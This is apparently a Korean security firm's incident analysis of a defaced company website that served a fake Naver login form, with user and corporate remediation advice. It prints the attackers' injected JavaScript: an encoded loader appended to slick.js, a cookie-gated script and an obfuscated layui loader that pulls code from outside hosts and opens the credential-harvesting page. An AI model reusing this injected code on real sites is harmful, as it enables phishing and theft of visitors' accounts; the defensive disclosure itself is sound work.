A사 공식 사이트 디페이스 해킹을 통한 피싱 사례
업데이트
2023년 5월 18일 업데이트: A사 홈페이지의 /assets/js/slick.js 가 원상 복구되어 피싱 공격이 중단되었음을 확인했습니다.
개요
2023년 5월 17일, 티오리 Security Assessment 팀에서는 A사의 국내 공식 홈페이지에서 디페이스 해킹 발생을 확인했습니다. 공격자는 페이지 변조를 통해 네이버 계정을 탈취하는 피싱 공격을 수행하였습니다. 분석 결과, 5월 17일 17시 기준으로 총 100건 이상의 계정이 공격자에게 수집되었습니다. 티오리는 이번 해킹 사건에 주목해 빠르게 이를 분석하고, 사후 대응할 수 있는 유관기관과 협력을 진행하고 있습니다.
디페이스 해킹 이란?
웹 서비스의 취약점을 이용하여 메인 페이지를 변조하는 공격입니다.
사건 소개
2023년 5월 17일, A사 공식 홈페이지에 접속 시 네이버 로그인 폼이 출력되는 것을 확인했습니다.
네이버 로그인 폼은 메인 페이지에 악의적으로 삽입된 iframe을 통해서 출력되며, 해당 iframe 이 삽입된 과정을 분석하였습니다.
A사의 자바스크립트 파일 중 /assets/js/slick.js 파일의 최하단에 공격자에 의해 변조된 것으로 보이는 내용이 추가되어 있는 것을 확인하였으며, 해당 코드는 메인 HTML에 새로운 HTML 코드를 작성합니다.
/assets/js/slick.js 최하단에 추가된 악성 자바스크립트 코드
document.write(unescape("%5c%78%33%43%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%77%77%77%2e%52%45%44%41%43%54%45%44%2e%63%6f%6d%2f%75%70%6c%6f%61%64%44%61%74%61%2f%65%64%75%6d%61%6e%2f%63%6a%2e%6a%73%3e%5c%78%33%43%2f%73%63%72%69%70%74%3e"));
URL Encoding된 악성 자바스크립트 코드를 해석하면 새로운 script 태그를 추가하여 타 C&C 서버에 업로드 되어있는 자바스크립트 파일을 로드합니다.
URL Decoding 한 악성 자바스크립트 코드
<script src=https://www.[SERVER-1].com/uploadData/eduman/cj.js></script>
/uploadData/eduman/cj.js 파일 또한, 새로운 자바스크립트 파일을 추가로 로드합니다. 이 때, 쿠키를 통해 네이버 피싱 로그인 창이 딱 한 번만 이용자에게 보여지도록 설정하여 새로고침 시 같은 피싱 창이 두 번 뜨지 않도록 설정하였습니다.
https://[SERVER-1].com/uploadData/eduman/cj.js
if(document.cookie.indexOf("sdvbdtrwssss=")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="sdvbdtrwssss=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("\x6D"+"\x73"+"\x69\x65"+"\x20\x37")==-1);
document.write("");
}
추가로 로드하는 자바스크립트 파일은 HTTP Referer 헤더를 통해 감염된 사이트로부터 온 요청이 아닐 경우 정상적인 컨텐츠를 출력하지 않는 것을 확인하였으며, 코드를 확인하기 위해서는 Referer 헤더에 공격 대상이 된 URL을 함께 포함해야 합니다. 다음은 cj.js 파일에서 새롭게 로드하는 악성 자바스크립트 코드입니다.
https://[SERVER-2].com/mail/ 코드
var vva = ["link", "text/css", "stylesheet", "head", "script", "text/javascript", "undefined", "loaded", "complete", '//[SERVER-3].com/attach_file/ss/ff/ff/', '//cdnjs.cloudflare.com/ajax/libs/layui/2.6.8/layui.js', '//cdnjs.cloudflare.com/ajax/libs/layui/2.6.8/css/layui.css', '100px', 'naver', 'login', 'poplog', '62%', '95%', '/login.php?m=1', '480px', '570px', '/login.php', 'message', 'string', 'poplog', 'login', 'poplog'];
function vodf88(vod329) {
var vod256 = window["document"]["createElement"](vva[0]);
vod256["type"] = vva[1];
vod256["rel"] = vva[2];
vod256["href"] = vod329;
window["document"]["getElementsByTagName"](vva[3])[0]["appendChild"](vod256)
}
;function vod801(vod329, vodd5b) {
var vodf9f = window["document"]["createElement"](vva[4]);
vodf9f["type"] = vva[5];
if (typeof (vodd5b) != vva[6]) {
if (vodf9f["readyState"]) {
vodf9f["onreadystatechange"] = function() {
if (vodf9f["readyState"] == vva[7] || vodf9f["readyState"] == vva[8]) {
vodf9f["onreadystatechange"] = null;
vodd5b()
}
}
} else {
vodf9f["onload"] = function() {
vodd5b()
}
}
}
;vodf9f["src"] = vod329;
window["document"]["head"]["appendChild"](vodf9f)
}
;var popurl = vva[9];
var vodd0f = vva[10];
var vodd2e = vva[11];
var vodfa4;
function vod463(vod329, vod766, vod141) {
vodfa4 = layer["open"]({
type: 2,
title: false,
area: [vod766, vod141],
fixed: false,
maxmin: false,
scrollbar: false,
offset: vva[12],
closeBtn: 0,
shade: 0.5,
id: vva[13],
content: vod329,
end: function() {
sessionStorage[vva[14]] = vva[15]
}
})
}
;vodf88(vodd2e);
vod801(vodd0f, function() {
var vod598;
var voda8e;
if (/Android|webOS|iPhone|iPod|BlackBerry/i["test"](navigator["userAgent"])) {
vod598 = vva[16];
voda8e = vva[17];
popurl = popurl + vva[18]
} else {
vod598 = vva[19];
voda8e = vva[20];
popurl = popurl + vva[21]
}
;window["addEventListener"](vva[22], function(vod739) {
if (typeof (vod739["data"]["msg"]) == vva[23]) {
if (vod739["data"]["msg"] == vva[24]) {
layer["close"](vodfa4)
}
}
}, false);
if (sessionStorage[vva[25]] != vva[26]) {
vod463(popurl, voda8e, vod598)
}
})
자바스크립트 코드에는 약간의 난독화가 적용되어 있었으며, 이를 분석해보면 layui 라이브러리를 이용해 네이버 피싱 사이트 (https://[SERVER-3].com/attach_file/ss/ff/ff/login.php) 를 삽입하는 것을 확인할 수 있습니다.
이를 분석하는 과정에서 [SERVER-3].com 도메인의 /attach_file/ss/ff/ff/ 하위 디렉토리 인덱싱이 활성화되어 있음을 확인했으며, 피싱에 사용되는 login.php 이외에 111.txt 라는 파일이 존재했습니다.
111.txt 파일로부터 A사 공식 홈페이지에 출력되었던 네이버 폼에 입력된 피해자의 네이버 계정 정보를 확인하였습니다. 이를 통해 login.php를 통해 입력된 피해 정보를 111.txt 파일에 저장하고 있다고 볼 수 있습니다.
위 분석을 통해, 공격자는 A사 공식 홈페이지의 취약점을 이용하여 공격자가 원하는 자바스크립트 코드를 삽입하고, 네이버 로그인 폼과 유사한 login.php를 출력하였음을 확인하였습니다. 또한 출력된 피싱 폼에 입력되는 모든 정보를 C&C 서버로 전달하여 다수 이용자의 네이버 계정 정보를 탈취한 정황을 포착하였습니다.
위의 정보로 미루어 보았을 때, 아래와 같은 추론이 가능합니다.
공격자는 A사와 C&C서버의 파일을 변경/생성할 수 있는 취약점을 보유했거나 서버의 쉘을 획득했다.
A사와 C&C서버 외에도 유사한 사례가 많을 것으로 추측된다.
C&C 서버란?
Command & Control 서버의 약자로, 악성코드를 제어하기 위한 서버입니다.일반적으로 원격에서 공격을 수행할 수 있도록 악성코드에 명령을 내리거나, 탈취한 정보를 공격자에게 전달하기 위한 서버로 사용됩니다.
A사의 서버 내에 slick.js를 비롯하여 공격에 사용된 C&C서버의 다른 js 파일들은 공격자에 의해 바뀌었거나 주입된 소스코드입니다. 따라서 공격자는 다수 기업 서버에서 파일을 변경하거나 생성, 주입할 수 있는 취약점을 보유 했거나, 서버의 쉘을 획득한 상태라고 생각됩니다.
뿐만 아니라 이번 공격과 동일한 패턴의 공격 시나리오를 사용한 과거 피해 사례도 발견하였습니다. 해당 사례도 홈페이지에 공격자의 소스코드를 심어서 네이버 로그인 폼을 띄우고, 계정 정보 입력을 유도하는 피싱 공격 사례로, 공격에 사용한 라이브러리도 layui로 동일했습니다.
어떻게 해야할까?
이용자의 조치 방안
이미 계정이 탈취된 이후라면 피싱 피해를 인지한 즉시 계정의 비밀번호를 변경해야 합니다.
탈취된 계정 외에도 다른 사이트에 같은 비밀번호를 사용하고 있다면, Credential stuffing과 같은 공격으로 타 사이트 계정 또한 탈취될 수 있으므로 비밀번호를 변경하는 것이 좋습니다.
Credential stuffing이란?
공격자가 이미 탈취한 계정 정보를 이용하여 타 사이트에 계정 정보를 무차별 대입하여 타 사이트의 계정까지 탈취하는 공격 방법입니다.
또한, 이와 같은 피싱 피해를 예방하기 위해서 일반 이용자는 아래와 같은 조치가 필요합니다.
홈페이지에서 요구하는 정보가 정말 전달해야 하는 정보인지 확인하기
계정에 MFA설정하기
패스워드 매니저 사용하기
https://www.youtube.com/watch?v=l5_iGQLPQUQ
MFA란?
Multi-Factor Authentication의 약자로, 이용자가 계정에 로그인 할 때 계정 정보 이외에 추가적인 인증 정보를 요구하는 인증 방식입니다. 일반적으로 TOTP를 사용한 2차 인증이 널리 쓰입니다.
일반적인 페이지에서는 로그인 탭으로 접근하지 않는 이상 로그인 정보를 요구하지 않습니다. 로그인이 필요한 페이지가 아니라면 로그인을 지양해야 합니다.
또한, 계정에 미리 MFA(U2F, TOTP 등)를 설정해두는 것이 좋습니다. 공격자는 계정을 탈취하기 위해 계정 정보 뿐만 아니라 추가 인증 정보까지 탈취해야하기 때문에 공격을 더욱 어렵게 할 수 있습니다. 예를 들어 2차 인증이 설정된 경우라면, 피싱 공격에 의해 계정 정보가 탈취 되더라도 공격자가 2차 인증 정보를 탈취하지 못했다면 인증할 수 없기 때문에 탈취된 계정을 사용할 수 없습니다.
마지막으로 Credential stuffing을 예방하기 위해 각 사이트별 다른 비밀번호를 사용해야합니다. 각 사이트별 서로 다른 비밀번호를 모두 기억하는 것이 어렵다면 패스워드 매니저를 이용할 수 있습니다.
기업 측면의 조치 방안
이번 사례는 일반적인 피싱사이트 사례와 다르게 실제 사용 중인 기업의 공식 홈페이지에 코드를 삽입하여 피싱한 사례입니다. A사를 비롯하여 C&C 서버로 사용된 다른 기업들도 공격자가 서버를 이미 장악한 것으로 볼 수 있습니다. 따라서 피해 기업들은 디페이스 피싱 이외에도 서버 전체에 대한 정보 유출 등 사고 조사가 필요합니다.
또한, 기업은 서버의 보안성을 향상시키기 위해 공격자 관점의 보안 컨설팅, 버그바운티 등을 활용하여 공격자로부터 서버와 서비스 이용자를 안전하게 지킬 수 있도록 더 많은 노력을 기울여야 합니다.
결론
공격자는 A사 홈페이지를 변조한 피싱 공격으로 약 100건 이상의 계정 정보를 탈취했습니다. 공격자가 사용한 서버를 분석하는 과정에서, A사 서버 외에도 추가로 3곳이 공격 당한 것을 발견했으며, 현재는 공격 경로로 사용된 서버 중 한 곳에 접근할 수 없어 공격이 일시 중단되었습니다. 공격 피해를 당한 일반 이용자 및 각 기업에서는 보안성 향상을 위해 사전/사후 조치를 진행해야 합니다.
티오리에서는 피싱 피해를 입은 계정들이 추가적인 피해가 발생하지 않도록 네이버와 협조하여 탈취된 이용자 계정 보호조치를 진행하고 있습니다. 저희는 더 안전한 사이버 세상을 위해 상시로 위협을 모니터링 하고 있을 뿐만 아니라 오펜시브 보안 컨설팅, 버그바운티 등을 서비스하고 있습니다.
본 문서를 통해 이용자와 기업 모두 보안 위협을 인지하고 안전한 사이버 환경에 일조하는 데 도움이 되었으면 합니다.
Disclaimer
티오리는 해킹 피해를 줄이기 위한 공공의 이익을 목적으로 A사 해킹 사건을 빠르게 분석한 뒤 본 포스트를 작성하였습니다. 티오리는 피해 기업과 관련이 없으며, 해당 사건에 대해 외부자 관점에서 공개된 정보만을 기반으로 제한적인 기술적 분석을 진행했기에 구체적인 사고 경위는 이와 다를 수 있습니다. 따라서, 본 포스트는 참고 용도로만 활용하시길 바랍니다.
About Theori Security Assessment
티오리 Security Assessment팀은 실제 해커들의 오펜시브 보안 감사 서비스를 통해 고객의 서비스와 인프라스트럭처를 안전하게 함으로써 비즈니스를 보호합니다. 특히, 더욱 안전한 세상을 위해 난제급 사이버보안 문제들을 해결하는 것을 즐기며, 오펜시브 사이버보안의 리더로서, 공격자보다 한발 앞서 대응하고 불가능하다고 여겨지는 문제를 기술중심적으로 해결합니다.
Security Assessment팀의 오펜시브 보안 감사 서비스에 대해 더 궁금하시다면? contact@theori.io 로 문의 바랍니다.